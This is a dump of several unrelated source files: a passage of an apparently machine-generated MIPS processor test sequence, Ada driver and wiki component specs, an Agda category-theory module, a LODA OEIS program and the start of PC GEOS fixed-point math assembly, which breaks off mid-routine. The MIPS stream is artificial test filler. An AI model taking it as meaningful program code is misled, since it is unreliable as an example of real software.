bne $4, $2, TAG569 mfhi $3 TAG569: sll $0, $0, 0 andi $1, $3, 4 mfhi $2 beq $2, $2, TAG570 TAG570: div $2, $2 mult $2, $2 slt $3, $2, $2 bgtz $3, TAG571 TAG571: mult $3, $3 sltiu $2, $3, 15 bgez $2, TAG572 multu $2, $3 TAG572: bgez $2, TAG573 mult $2, $2 div $2, $2 nor $2, $2, $2 TAG573: mthi $2 beq $2, $2, TAG574 lui $2, 8 bne $2, $2, TAG574 TAG574: and $1, $2, $2 divu $2, $1 mflo $2 beq $1, $1, TAG575 TAG575: addu $1, $2, $2 beq $2, $2, TAG576 addu $3, $2, $2 lui $4, 4 TAG576: sll $0, $0, 0 mthi $4 sll $0, $0, 0 bgez $4, TAG577 TAG577: subu $2, $4, $4 lui $2, 6 bne $2, $2, TAG578 sltu $4, $2, $4 TAG578: lui $4, 10 sll $0, $0, 0 mtlo $4 xori $1, $4, 2 TAG579: bne $1, $1, TAG580 sll $0, $0, 0 mult $1, $1 slti $4, $1, 3 TAG580: sb $4, 0($4) bgez $4, TAG581 lbu $3, 0($4) blez $3, TAG581 TAG581: lui $3, 3 srav $4, $3, $3 blez $3, TAG582 sll $0, $0, 0 TAG582: lui $2, 7 mfhi $2 mult $2, $2 lbu $1, 0($2) TAG583: sb $1, 0($1) mflo $1 sh $1, -10000($1) beq $1, $1, TAG584 TAG584: sw $1, -10000($1) divu $1, $1 and $2, $1, $1 xor $3, $2, $1 TAG585: lb $4, 0($3) mthi $3 lui $2, 0 mflo $4 TAG586: sltu $2, $4, $4 sltiu $4, $2, 13 bgez $2, TAG587 lui $3, 6 TAG587: sll $0, $0, 0 lhu $4, -10000($1) lb $4, -10000($1) mtlo $1 TAG588: sh $4, 0($4) div $4, $4 mult $4, $4 sltiu $2, $4, 4 TAG589: multu $2, $2 mtlo $2 srl $2, $2, 10 mthi $2 TAG590: multu $2, $2 or $1, $2, $2 blez $1, TAG591 or $4, $2, $1 TAG591: srav $3, $4, $4 mfhi $3 mult $4, $4 mfhi $1 TAG592: bne $1, $1, TAG593 multu $1, $1 mthi $1 bgtz $1, TAG593 TAG593: mfhi $3 lh $1, 0($3) multu $1, $1 mfhi $4 TAG594: lui $2, 3 mtlo $4 sub $4, $2, $4 sll $0, $0, 0 TAG595: subu $4, $4, $4 mtlo $4 lui $4, 14 beq $4, $4, TAG596 TAG596: sll $0, $0, 0 sll $0, $0, 0 subu $1, $4, $4 sll $0, $0, 0 TAG597: sll $0, $0, 0 sll $0, $0, 0 slti $2, $2, 9 bltz $4, TAG598 TAG598: multu $2, $2 mult $2, $2 mflo $2 sh $2, 0($2) TAG599: sb $2, 0($2) multu $2, $2 mfhi $1 sw $2, 0($2) TAG600: bne $1, $1, TAG601 mtlo $1 bne $1, $1, TAG601 lui $2, 11 TAG601: sll $0, $0, 0 sll $0, $0, 0 lui $2, 12 sll $0, $0, 0 TAG602: mtlo $2 andi $1, $2, 15 bltz $1, TAG603 sw $1, 0($1) TAG603: lw $1, 0($1) bltz $1, TAG604 sb $1, 0($1) nor $3, $1, $1 TAG604: divu $3, $3 mthi $3 lh $2, 1($3) mflo $3 TAG605: bne $3, $3, TAG606 lbu $1, 0($3) lh $2, 0($1) srav $3, $3, $1 TAG606: blez $3, TAG607 srl $2, $3, 3 mflo $4 bgez $2, TAG607 TAG607: sb $4, 0($4) mtlo $4 beq $4, $4, TAG608 mthi $4 TAG608: sb $4, 0($4) sb $4, 0($4) sb $4, 0($4) mfhi $2 TAG609: mflo $3 mult $2, $2 lui $2, 6 beq $3, $3, TAG610 TAG610: lui $1, 3 beq $1, $2, TAG611 mflo $3 beq $2, $2, TAG611 TAG611: mfhi $4 sb $3, 0($3) nor $2, $4, $3 mflo $2 TAG612: lui $4, 7 lbu $2, 0($2) mflo $1 slti $3, $2, 8 TAG613: slti $4, $3, 0 lui $3, 8 multu $3, $4 multu $3, $3 TAG614: mult $3, $3 sll $0, $0, 0 lbu $4, 0($4) multu $4, $4 TAG615: lhu $3, 0($4) mult $3, $4 lhu $4, -256($3) mfhi $1 TAG616: bne $1, $1, TAG617 srl $4, $1, 8 lw $4, 0($1) beq $4, $4, TAG617 TAG617: sb $4, -256($4) lui $1, 15 bne $1, $1, TAG618 sh $1, -256($4) TAG618: sll $0, $0, 0 addu $4, $1, $1 xori $4, $1, 0 addu $1, $1, $4 TAG619: mfhi $3 addu $1, $1, $3 sll $0, $0, 0 ori $2, $1, 5 TAG620: slt $2, $2, $2 beq $2, $2, TAG621 mtlo $2 bne $2, $2, TAG621 TAG621: lui $3, 0 multu $3, $2 xori $3, $3, 3 sb $2, 0($3) TAG622: srlv $3, $3, $3 beq $3, $3, TAG623 mfhi $1 mflo $2 TAG623: sllv $1, $2, $2 bne $2, $1, TAG624 sb $2, 0($1) beq $2, $1, TAG624 TAG624: lw $1, 0($1) lui $3, 9 and $3, $3, $1 subu $3, $1, $3 TAG625: lh $1, 0($3) sllv $2, $3, $3 sra $2, $2, 12 lui $2, 4 TAG626: lui $4, 9 ori $3, $4, 5 mtlo $2 sll $0, $0, 0 TAG627: subu $4, $3, $3 nor $4, $4, $4 slti $1, $4, 3 sb $1, 0($1) TAG628: sb $1, 0($1) lbu $2, 0($1) mfhi $3 blez $3, TAG629 TAG629: mfhi $3 multu $3, $3 mflo $2 mtlo $3 TAG630: bgez $2, TAG631 mthi $2 sw $2, 0($2) bltz $2, TAG631 TAG631: slti $4, $2, 11 mthi $4 bne $4, $2, TAG632 addu $4, $2, $4 TAG632: mtlo $4 mtlo $4 mthi $4 ori $3, $4, 6 TAG633: addiu $1, $3, 3 lui $3, 10 bgez $3, TAG634 sllv $2, $3, $1 TAG634: bgez $2, TAG635 sll $0, $0, 0 mthi $2 mthi $2 TAG635: sll $0, $0, 0 divu $2, $2 mult $2, $2 sll $3, $2, 15 TAG636: sub $4, $3, $3 mtlo $3 mflo $3 andi $1, $3, 7 TAG637: mtlo $1 lb $2, 0($1) mthi $2 multu $2, $2 TAG638: ori $4, $2, 8 blez $4, TAG639 mult $4, $2 ori $1, $2, 1 TAG639: lui $3, 8 slti $3, $3, 4 sb $1, 0($1) mfhi $1 TAG640: lui $2, 10 sh $1, 0($1) sra $4, $1, 6 lb $1, 0($1) TAG641: bltz $1, TAG642 lui $1, 1 mthi $1 div $1, $1 TAG642: sll $0, $0, 0 beq $1, $2, TAG643 sllv $3, $2, $2 bgez $1, TAG643 TAG643: sll $0, $0, 0 andi $1, $3, 15 bltz $3, TAG644 mtlo $1 TAG644: beq $1, $1, TAG645 mfhi $3 beq $1, $3, TAG645 lhu $2, 0($3) TAG645: mtlo $2 mflo $1 mfhi $3 lui $2, 10 TAG646: sll $0, $0, 0 bgtz $2, TAG647 subu $3, $2, $2 mflo $2 TAG647: mthi $2 sll $0, $0, 0 lui $2, 10 mfhi $4 TAG648: sll $0, $0, 0 mtlo $4 and $1, $1, $1 mtlo $1 TAG649: sll $0, $0, 0 divu $1, $4 bgtz $1, TAG650 sll $0, $0, 0 TAG650: bgez $4, TAG651 mfhi $1 slt $1, $4, $1 multu $4, $1 TAG651: mthi $1 mtlo $1 sll $3, $1, 7 mflo $1 TAG652: lui $3, 3 mflo $4 mthi $1 slti $2, $4, 15 TAG653: beq $2, $2, TAG654 mflo $1 bne $2, $2, TAG654 ori $2, $2, 13 TAG654: mflo $2 beq $2, $2, TAG655 mtlo $2 lui $3, 11 TAG655: sll $0, $0, 0 divu $3, $3 addiu $1, $1, 12 divu $1, $3 TAG656: bne $1, $1, TAG657 lui $1, 5 sll $0, $0, 0 bgtz $1, TAG657 TAG657: lui $4, 8 mtlo $1 slt $3, $1, $1 sw $1, 0($3) TAG658: lb $2, 0($3) lw $3, 0($3) lui $4, 1 bne $4, $2, TAG659 TAG659: lui $2, 15 mthi $4 lui $1, 13 lui $3, 10 TAG660: lui $2, 8 divu $2, $2 lui $1, 0 sll $0, $0, 0 TAG661: sb $1, 0($1) bltz $1, TAG662 lui $3, 2 sw $1, 0($1) TAG662: sll $0, $0, 0 and $2, $3, $3 sll $0, $0, 0 srlv $3, $3, $2 TAG663: divu $3, $3 beq $3, $3, TAG664 mfhi $1 mflo $3 TAG664: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 bltz $4, TAG665 TAG665: sll $0, $0, 0 mflo $1 beq $1, $4, TAG666 sra $1, $1, 2 TAG666: bgtz $1, TAG667 multu $1, $1 and $2, $1, $1 lui $1, 11 TAG667: mthi $1 lui $4, 3 sll $0, $0, 0 lui $4, 4 TAG668: sll $0, $0, 0 sll $0, $0, 0 blez $4, TAG669 sll $0, $0, 0 TAG669: beq $4, $4, TAG670 sll $0, $0, 0 bgtz $4, TAG670 srav $1, $3, $3 TAG670: sll $1, $1, 15 or $4, $1, $1 subu $3, $1, $1 mtlo $1 TAG671: lui $1, 4 addi $3, $3, 14 sltu $4, $1, $3 mtlo $1 TAG672: sb $4, 0($4) lb $2, 0($4) mthi $4 lbu $4, 0($4) TAG673: sb $4, 0($4) bgtz $4, TAG674 sb $4, 0($4) lui $2, 14 TAG674: mfhi $2 bgez $2, TAG675 sh $2, 0($2) sltu $2, $2, $2 TAG675: sh $2, 0($2) bgtz $2, TAG676 srlv $3, $2, $2 sw $3, 0($3) TAG676: bgez $3, TAG677 slt $1, $3, $3 mfhi $4 beq $3, $4, TAG677 TAG677: lhu $4, 0($4) mflo $1 sll $0, $0, 0 bltz $4, TAG678 TAG678: mult $1, $1 mult $1, $1 sllv $1, $1, $1 addu $1, $1, $1 TAG679: sra $2, $1, 9 div $1, $1 bltz $1, TAG680 lui $1, 10 TAG680: sll $0, $0, 0 sll $0, $0, 0 mfhi $3 bne $1, $3, TAG681 TAG681: mthi $3 ori $2, $3, 12 addu $2, $3, $3 srav $4, $3, $3 TAG682: sw $4, 0($4) mflo $2 mult $4, $2 mflo $1 TAG683: sllv $2, $1, $1 srav $1, $2, $2 lui $3, 3 mtlo $3 TAG684: multu $3, $3 lui $1, 10 mult $1, $3 ori $3, $3, 12 TAG685: mflo $1 lui $4, 8 sll $0, $0, 0 sllv $1, $2, $2 TAG686: sub $3, $1, $1 mfhi $4 bne $4, $3, TAG687 sh $3, 0($4) TAG687: sh $4, 0($4) lui $1, 8 or $4, $1, $1 bltz $4, TAG688 TAG688: mflo $4 lb $2, 0($4) bgez $2, TAG689 lui $3, 7 TAG689: sll $0, $0, 0 sltiu $1, $3, 0 beq $3, $1, TAG690 mfhi $4 TAG690: bne $4, $4, TAG691 sh $4, 0($4) mthi $4 sltiu $2, $4, 13 TAG691: mtlo $2 lui $3, 11 beq $3, $2, TAG692 sll $0, $0, 0 TAG692: blez $3, TAG693 subu $3, $3, $3 mthi $3 beq $3, $3, TAG693 TAG693: mthi $3 lui $4, 3 mfhi $2 lhu $4, 0($3) TAG694: lh $1, 0($4) sh $4, 0($1) sh $1, 0($4) mthi $1 TAG695: multu $1, $1 lui $4, 7 add $4, $1, $4 srl $4, $4, 0 TAG696: sll $0, $0, 0 sw $4, 0($2) mult $4, $2 lui $4, 1 TAG697: sll $0, $0, 0 xori $1, $4, 1 mthi $1 sltiu $3, $1, 13 TAG698: bne $3, $3, TAG699 sllv $4, $3, $3 multu $3, $4 multu $4, $3 TAG699: multu $4, $4 lb $2, 0($4) multu $2, $4 mflo $3 TAG700: blez $3, TAG701 xori $2, $3, 9 mflo $4 div $4, $2 TAG701: multu $4, $4 mfhi $1 and $2, $1, $1 lui $1, 6 TAG702: mfhi $1 addu $4, $1, $1 sb $1, 0($4) srav $1, $1, $1 TAG703: mult $1, $1 addi $2, $1, 6 bne $2, $2, TAG704 ori $2, $2, 2 TAG704: slti $2, $2, 8 beq $2, $2, TAG705 mtlo $2 mthi $2 TAG705: lbu $4, 0($2) sra $1, $2, 12 srl $2, $4, 12 multu $2, $1 TAG706: bgez $2, TAG707 multu $2, $2 mtlo $2 blez $2, TAG707 TAG707: lb $1, 0($2) and $2, $2, $2 lh $1, 0($1) blez $1, TAG708 TAG708: lui $3, 15 mthi $3 bgez $3, TAG709 mflo $2 TAG709: lbu $2, 0($2) lbu $4, 0($2) mfhi $2 lui $2, 13 TAG710: sll $0, $0, 0 sll $0, $0, 0 bltz $2, TAG711 sll $0, $0, 0 TAG711: lbu $3, 0($1) mthi $3 mult $3, $1 mult $1, $3 TAG712: mfhi $2 beq $2, $2, TAG713 lui $1, 0 sw $1, 0($2) TAG713: bne $1, $1, TAG714 multu $1, $1 blez $1, TAG714 multu $1, $1 TAG714: mflo $1 xor $2, $1, $1 nor $2, $2, $2 sra $3, $2, 2 TAG715: sh $3, 1($3) lui $3, 1 bgtz $3, TAG716 sll $0, $0, 0 TAG716: srlv $1, $3, $3 lui $4, 3 mfhi $2 mfhi $4 TAG717: multu $4, $4 sb $4, 0($4) mult $4, $4 blez $4, TAG718 TAG718: and $3, $4, $4 andi $1, $4, 3 mtlo $4 multu $4, $1 TAG719: beq $1, $1, TAG720 mflo $1 sh $1, 0($1) sw $1, 0($1) TAG720: lh $3, 0($1) mtlo $1 lbu $3, 0($1) mtlo $3 TAG721: mthi $3 beq $3, $3, TAG722 lui $3, 13 sw $3, 0($3) TAG722: sll $0, $0, 0 sll $0, $0, 0 bne $3, $3, TAG723 mtlo $3 TAG723: mflo $2 sll $0, $0, 0 lui $4, 13 sll $0, $0, 0 TAG724: xori $4, $4, 11 subu $2, $4, $4 sll $0, $0, 0 mfhi $3 TAG725: sh $3, 0($3) xor $1, $3, $3 bltz $3, TAG726 mult $3, $3 TAG726: bltz $1, TAG727 and $4, $1, $1 sb $4, 0($4) sw $1, 0($4) TAG727: bgtz $4, TAG728 lw $1, 0($4) lui $4, 13 lh $4, 0($1) TAG728: bltz $4, TAG729 sltiu $2, $4, 15 bgez $4, TAG729 subu $4, $4, $2 TAG729: lui $4, 11 sll $0, $0, 0 srav $1, $4, $4 sll $0, $0, 0 TAG730: multu $1, $1 sll $0, $0, 0 sll $0, $0, 0 blez $3, TAG731 TAG731: lui $1, 6 nor $3, $1, $3 lui $4, 13 beq $3, $3, TAG732 TAG732: mtlo $4 andi $2, $4, 11 sb $4, 0($2) mfhi $2 TAG733: addiu $2, $2, 11 bne $2, $2, TAG734 nor $4, $2, $2 multu $4, $4 TAG734: mthi $4 mfhi $1 mult $1, $4 addiu $2, $4, 11 TAG735: sll $0, $0, 0 addiu $4, $3, 12 mult $2, $2 and $2, $3, $2 TAG736: blez $2, TAG737 sll $0, $0, 0 bgtz $2, TAG737 lb $3, 0($2) TAG737: sll $0, $0, 0 mflo $4 srl $3, $4, 5 sltiu $3, $4, 3 TAG738: multu $3, $3 mthi $3 mult $3, $3 lui $4, 12 TAG739: lui $1, 14 bne $4, $4, TAG740 mflo $2 mthi $2 TAG740: srl $2, $2, 14 blez $2, TAG741 ori $1, $2, 6 subu $2, $2, $1 TAG741: multu $2, $2 mthi $2 sltu $1, $2, $2 lw $2, 0($2) TAG742: sh $2, 0($2) mfhi $4 mthi $2 lui $4, 5 TAG743: bne $4, $4, TAG744 sll $0, $0, 0 sll $0, $0, 0 srav $1, $4, $4 TAG744: beq $1, $1, TAG745 lui $2, 12 mfhi $2 mthi $2 TAG745: sll $0, $0, 0 lui $2, 12 addu $3, $2, $2 subu $3, $3, $2 TAG746: bne $3, $3, TAG747 sll $0, $0, 0 sll $0, $0, 0 sltiu $4, $4, 15 TAG747: lw $2, 0($4) lhu $3, 0($2) beq $4, $3, TAG748 addiu $4, $3, 15 TAG748: or $1, $4, $4 xor $4, $4, $1 bgtz $1, TAG749 mflo $2 TAG749: mult $2, $2 bne $2, $2, TAG750 mthi $2 xor $1, $2, $2 TAG750: nop nop test_end: beq $0, $0, test_end nop
arch/ARM/Nordic/drivers/nrf51-interrupts.ads
bosepchuk/Ada_Drivers_Library
6
23547
<reponame>bosepchuk/Ada_Drivers_Library ------------------------------------------------------------------------------ -- -- -- Copyright (C) 2016, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ with HAL; use HAL; package nRF51.Interrupts is type Interrupt_Name is (POWER_CLOCK_Interrupt, RADIO_Interrupt, UART0_Interrupt, SPI0_TWI0_Interrupt, SPI1_TWI1_Interrupt, Unused_Interrupt_1, GPIOTE_Interrupt, ADC_Interrupt, TIMER0_Interrupt, TIMER1_Interrupt, TIMER2_Interrupt, RTC0_Interrupt, TEMP_Interrupt, RNG_Interrupt, ECB_Interrupt, CCM_AAR_Interrupt, WDT_Interrupt, RTC1_Interrupt, QDEC_Interrupt, LPCOMP_Interrupt, SWI0_Interrupt, SWI1_Interrupt, SWI2_Interrupt, SWI3_Interrupt, SWI4_Interrupt, SWI5_Interrupt, Unused_Interrupt_2, Unused_Interrupt_3, Unused_Interrupt_4, Unused_Interrupt_5, Unused_Interrupt_6, Unused_Interrupt_7); subtype Interrupt_Priority is UInt8; procedure Set_Priority (Int : Interrupt_Name; Prio : Interrupt_Priority); procedure Enable (Int : Interrupt_Name); procedure Disable (Int : Interrupt_Name); function Pending (Int : Interrupt_Name) return Boolean; type Handler is access procedure; procedure Register (Id : nRF51.Interrupts.Interrupt_Name; Hdl : Handler); -- Register a handler for the given interrupt. There can be only one handler -- for each interrupt so the previous one, if any, will be removed. private for Interrupt_Name use (POWER_CLOCK_Interrupt => 0, RADIO_Interrupt => 1, UART0_Interrupt => 2, SPI0_TWI0_Interrupt => 3, SPI1_TWI1_Interrupt => 4, Unused_Interrupt_1 => 5, GPIOTE_Interrupt => 6, ADC_Interrupt => 7, TIMER0_Interrupt => 8, TIMER1_Interrupt => 9, TIMER2_Interrupt => 10, RTC0_Interrupt => 11, TEMP_Interrupt => 12, RNG_Interrupt => 13, ECB_Interrupt => 14, CCM_AAR_Interrupt => 15, WDT_Interrupt => 16, RTC1_Interrupt => 17, QDEC_Interrupt => 18, LPCOMP_Interrupt => 19, SWI0_Interrupt => 20, SWI1_Interrupt => 21, SWI2_Interrupt => 22, SWI3_Interrupt => 23, SWI4_Interrupt => 24, SWI5_Interrupt => 25, Unused_Interrupt_2 => 26, Unused_Interrupt_3 => 27, Unused_Interrupt_4 => 28, Unused_Interrupt_5 => 29, Unused_Interrupt_6 => 30, Unused_Interrupt_7 => 31); end nRF51.Interrupts;
awa/src/awa-components-wikis.ads
Letractively/ada-awa
0
23774
<filename>awa/src/awa-components-wikis.ads<gh_stars>0 ----------------------------------------------------------------------- -- awa-components-wikis -- Wiki rendering component -- Copyright (C) 2011 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with ASF.Contexts.Faces; with ASF.Components; with ASF.Components.Html; with AWA.Wikis.Parsers; package AWA.Components.Wikis is use ASF.Contexts.Faces; -- The wiki format of the wiki text. The valid values are: -- dotclear, google, creole, phpbb, mediawiki FORMAT_NAME : constant String := "format"; VALUE_NAME : constant String := ASF.Components.VALUE_NAME; -- ------------------------------ -- Wiki component -- ------------------------------ -- -- <awa:wiki value="wiki-text" format="dotclear|google|creole|phpbb" styleClass="class"/> -- type UIWiki is new ASF.Components.Html.UIHtmlComponent with null record; type UIWiki_Access is access all UIWiki'Class; -- Get the wiki format style. The format style is obtained from the <b>format</b> -- attribute name. function Get_Wiki_Style (UI : in UIWiki; Context : in Faces_Context'Class) return AWA.Wikis.Parsers.Wiki_Syntax_Type; -- Render the wiki text overriding procedure Encode_Begin (UI : in UIWiki; Context : in out Faces_Context'Class); end AWA.Components.Wikis;
src/SecondOrder/Mslot.agda
cilinder/formaltt
21
7432
<reponame>cilinder/formaltt {-# OPTIONS --allow-unsolved-metas #-} open import Agda.Primitive using (lzero; lsuc; _⊔_) open import Relation.Binary.PropositionalEquality using (_≡_; refl; sym; trans; cong; subst; setoid) open import Data.Product using (_×_; Σ; _,_; proj₁; proj₂; zip; map; <_,_>; swap) import Function.Equality -- open import Relation.Binary using (Setoid) -- import Relation.Binary.Reasoning.Setoid as SetoidR import Categories.Category import Categories.Functor import Categories.Category.Instance.Setoids import Categories.Monad.Relative import Categories.Category.Equivalence import Categories.Category.Cocartesian import Categories.Category.Construction.Functors import Categories.Category.Product import Categories.NaturalTransformation import Categories.NaturalTransformation.NaturalIsomorphism import SecondOrder.Arity import SecondOrder.Signature import SecondOrder.Metavariable import SecondOrder.VRenaming import SecondOrder.MRenaming import SecondOrder.Term import SecondOrder.Substitution import SecondOrder.RelativeMonadMorphism import SecondOrder.Instantiation import SecondOrder.IndexedCategory import SecondOrder.RelativeKleisli module SecondOrder.Mslot {ℓ} {𝔸 : SecondOrder.Arity.Arity} (Σ : SecondOrder.Signature.Signature ℓ 𝔸) where open SecondOrder.Signature.Signature Σ open SecondOrder.Metavariable Σ open SecondOrder.Term Σ open SecondOrder.VRenaming Σ open SecondOrder.MRenaming Σ -- open SecondOrder.Substitution Σ -- open import SecondOrder.RelativeMonadMorphism -- open SecondOrder.Instantiation open Categories.Category open Categories.Functor using (Functor) open Categories.NaturalTransformation renaming (id to idNt) open Categories.NaturalTransformation.NaturalIsomorphism renaming (refl to reflNt; sym to symNt; trans to transNt) open Categories.Category.Construction.Functors open Categories.Category.Instance.Setoids open Categories.Category.Product open Function.Equality using () renaming (setoid to Π-setoid) open SecondOrder.IndexedCategory -- open import SecondOrder.RelativeKleisli MTele = MContexts VTele = VContexts -- the codomain category of the MSlots functor. It should be equivalent to the -- functor category [ MTele x VTele , < Setoid >ₛₒᵣₜ ] -- objects are functors, which are really pairs of functions, one on objects -- one on morphisms -- morphisms in this category are natural transformations module _ where open Category open NaturalTransformation open Function.Equality renaming (_∘_ to _∙_) Mslots : Functor MContexts (IndexedCategory VContext (IndexedCategory sort (Setoids ℓ ℓ))) Mslots = let open Categories.NaturalTransformation in let open NaturalTransformation in let open Relation.Binary.PropositionalEquality.≡-Reasoning in record { F₀ = λ Θ Γ A → setoid ([ Γ , A ]∈ Θ) ; F₁ = λ ι Γ A → record { _⟨$⟩_ = λ M → ι M ; cong = λ M≡N → cong ι M≡N } ; identity = λ {Θ} Γ A {M} {N} M≡N → cong idᵐ M≡N ; homomorphism = λ {Θ} {Ψ} {Ξ} {ι} {μ} Γ A M≡N → cong (μ ∘ᵐ ι) M≡N ; F-resp-≈ = λ {Θ} {Ψ} {ι} {μ} ι≡ᵐμ Γ A {M} {N} M≡N → begin ι M ≡⟨ cong ι M≡N ⟩ ι N ≡⟨ ι≡ᵐμ N ⟩ μ N ∎ }
oeis/021/A021271.asm
neoneye/loda-programs
11
8617
<filename>oeis/021/A021271.asm ; A021271: Decimal expansion of 1/267. ; Submitted by <NAME>iga ; 0,0,3,7,4,5,3,1,8,3,5,2,0,5,9,9,2,5,0,9,3,6,3,2,9,5,8,8,0,1,4,9,8,1,2,7,3,4,0,8,2,3,9,7,0,0,3,7,4,5,3,1,8,3,5,2,0,5,9,9,2,5,0,9,3,6,3,2,9,5,8,8,0,1,4,9,8,1,2,7,3,4,0,8,2,3,9,7,0,0,3,7,4,5,3,1,8,3,5 seq $0,42 ; Unary representation of natural numbers. mul $0,3 div $0,89 mod $0,10
Library/Kernel/Graphics/graphicsMath.asm
steakknife/pcgeos
504
240153
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Kernel Graphics FILE: Graphics/graphicsMath.asm AUTHOR: <NAME> ROUTINES: Name Description ---- ----------- GBL GrMulWWFixed same as GrMul32, but global GBL GrSDivWWFixed same as GrSDiv32, but global GBL GrUDivWWFixed same as GrUDiv32, but global GBL GrSqrWWFixed same as GrSqr32, but global GBL GrSqrRootWWFixed same as GrSqrRoot32, but global GBL GrQuickSine same as GrFastSine, but global GBL GrQuickCosine same as GrFastCosine, but global GBL GrQuickTangent divide the FastSine by the FastCosine GBL GrQuickArcSine same as GrFastArcSine, but global INT GrFastSine Do table lookup for calculating sine INT GrFastCosine Do table lookup for calculating cosine INT GrMul32 32-bit signed multiply, assuming 16 bits frac INT GrRegMul32 same as GrMul32 but takes register args INT GrRegMul32ToDDF same as GrRegMul32 but returns DDFixed number INT GrReciprocal32 Take recprocal of signed 32-bit number/frac INT GrSDiv32 32-bit signed divide, assuming 16 bits frac INT GrUDiv32 32-bit unsigned divide, assuming 16 bits frac INT GrMatrixMul Full matrix multiply for transformation matrix INT GrSqrRoot32 32 bit square root, assuming 16 bits frac INT GrSqr32 Squares a 32 bit number INT GrFastArcSine Do table search for calculating arcsine INT BinarySearch Do a binary search on a table of words REVISION HISTORY: Name Date Description ---- ---- ----------- jim 3/89 initial version jim 8/89 added global versions to some routines for kernel lib DESCRIPTION: This file contains routines to some fast pseudo-real math. $Id: graphicsMath.asm,v 1.1 97/04/05 01:12:58 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GraphicsObscure segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrFastCosine GrQuickCosine %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculate the cosine of an angle CALLED BY: INTERNAL (GrFastCosine) GLOBAL (GrQuickCosine) PASS: dx.ax - 32-bit number representing angle * 65536 (dx holds high word, ax holds low word) RETURN: dx.ax - 32-bit number representing cosine * 65536 (dx holds high word, ax holds low word) DESTROYED: bx, cx (GrFastCosine) Nothing (GrQuickCoSine) PSEUDO CODE/STRATEGY: if (angle < 0) negate angle; while (angle >= 360) angle -= 360; if (angle > 270) angle = 360 - angle; else if (angle > 180) angle -= 180; toggle negative flag; else if (angle > 90) angle = 180-angle; toggle negative flag; angle = 90 - angle; return(sine(angle)); KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 03/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; a few constants to represent bit positions if flag GFC_NEG_RESULT equ 80h ; mask for flag GrQuickCosine proc far push bx, cx call GrFastCosine pop bx, cx ret GrQuickCosine endp GrFastCosine proc near ; if angle < 0... clr ch ; clear negate flags tst dx ; see if negative ( 3) js GFC_neg ; (4/16) ; normalize angle to 0 - 360 GFC_pos: cmp dx, 360 ; normalize to 0-360 ( 4) jge GFC_normalize ; (4/16) ; angle normalized, get 0 - 90 GFC_normal: cmp dx, 90 ; see if 0<=angle<90 ( 4) jge GFC_quad ; no, in another quad (4/16) ; in 0-90, so subtract from 90 GFC_0to90: Neg32 ax, dx ; negate angle add dx, 90 ; angle = 90 - angle ; use sine function to calculate value push cx ; save neg flag call GrFastSine ; get sine of angle pop cx ; restore flags ; negate result if neccesary tst ch ; test falgs jns GFC_done Neg32 ax, dx ; negate result GFC_done: ret ;------------------------------------------------------- ; special case: negative angle GFC_neg: Neg32 ax, dx ; negate 32-bit quantity jmp short GFC_pos ; special case: angle >= 360 GFC_normalize: sub dx, 360 jge GFC_normalize add dx, 360 jmp GFC_normal ; special case: 90 <= angle < 360 GFC_quad: cmp dx, 270 ; see if in 4th quad jl GFC_chk3 ; no, check for 3rd quad Neg32 ax, dx ; yes, angle=-angle add dx, 360 ; angle=360-angle jmp short GFC_0to90 GFC_chk3: cmp dx, 180 ; check for 3rd quad jl GFC_do2 ; no, must be 2nd sub dx, 180 ; yes, angle-=180 xor ch, GFC_NEG_RESULT ; toggle both flags jmp short GFC_0to90 GFC_do2: Neg32 ax, dx ; 2nd quadrant add dx, 180 ; angle=180-angle xor ch, GFC_NEG_RESULT ; toggle both flags jmp short 